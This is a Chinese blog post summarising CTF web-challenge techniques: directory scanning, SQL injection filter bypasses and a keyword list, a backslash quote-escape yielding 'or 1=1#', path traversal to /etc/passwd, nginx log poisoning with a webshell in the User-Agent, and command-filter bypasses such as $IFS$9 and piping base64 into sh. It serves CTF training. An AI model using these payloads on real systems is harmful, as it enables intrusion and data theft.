CTF ---web题思路总结

一.web题解题流程

1.提示信息

        面对一道web题时,先注意题目名字或者提示。如'eazy_sql'则大概率为sql注入题目。若含有'flask''tornado'等词,可以考虑去搜索这些服务器的历史漏洞。

2.收集信息

        可以使用dirsearch等工具扫描目录,有可能找到www.zip等文件,大概率包含源代码,用于代码审计。或者/admin等目录,才是真正要去寻找漏洞的目录。

        还可以查看源代码,有些源码或提示信息会以注释的方式隐藏在前端。

        如果真的没线索,可以抓包,提示信息可能隐藏在cookie或自定义的header字段中。

二:SQL注入

1.绕过技巧

        可以自己写一个关键词目录,然后用bp的爆破模块攻击,来确定过滤哪些单词。以下是我自己写的关键词目录。

’
#
union
left
substr
mid
 
(
)
,
insert
and
or
=
database()
column
table
length
/**/
ascii
if
from
flag
select
where
group
*
/
in
not
chr
ord
column
table
information
schema
&&
||

        substr可用mid代替,ord可用ascii代替,空格可用/**/或括号代替。

例如:

select(flag)from(flag)

2.堆叠注入

show tables展示所有的表

handler table_name open;handler table_name read first #如果表名是数字,需要加`  `

3.特殊技巧

数据库存在截断和去除末尾空格的机制。

如果遇到如下情况:

if($POST[a]=='admin){
    die();
}

但你需要登录admin账户。你可以:

a=admin                                              1

这样可以绕过比较,但插入数据库时由于字符串过长,会把后面去掉,插入的用户名就为admin,达到目标。

如果遇到如下:
 

select * from user where username="POST[a]" and password="POST[b]";

但是引号又被过滤了,可以:

a=admin\
b= or 1=1#

'\'可以把sql语句中的'注释掉,语句变为:

select * from user where username='admin\' and password =' or 1=1 #

语句恒成立。

三:文件包含漏洞

1.信息观察

        如果给出的源代码有include()字段或url中有        ?file=1.txt        。可以考虑文件包含漏洞。可以先输入        /etc/passwd        判断是否有这个漏洞。

        可以根据题目提示信息观察是否有拼接路径。若没有,可以尝试data,input,filter等协议。

        若有在前面有拼接/detail等路径,可以:

?file=../../../../../../../../../etc/passwd

        ../尽可能多,来回到根目录。

2.日志文件包含漏洞

        可以通过response的sever观察服务器是否是nginx。

        nginx的日志默认在/var/log/nginx/access.log。可以尝试在UA中添加一句话木马,然后连接。

3.session文件包含漏洞

        在此就不赘述,网上有很多相关信息,可以自己查看。

四:绕过技巧

        最经典的就是无字母rce绕过,异或取反都可以,网上有很多脚本,可以自行了解。

常见的:

linux:
空格:$IFS$9
    ${IFS}$
    <
    <>
字符串:cat=>ca\t
            g=at;c$g
            more tac nl less head tail paste
base64编码: echo 'cat flag.txt'|base64
            echo 编码结果 |base64 -d|sh

php:aaa=>chr(97).chr(97).chr(97) 

python:将字符串转化为unicode编码或16进制  

未完待续.......

  • 24
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值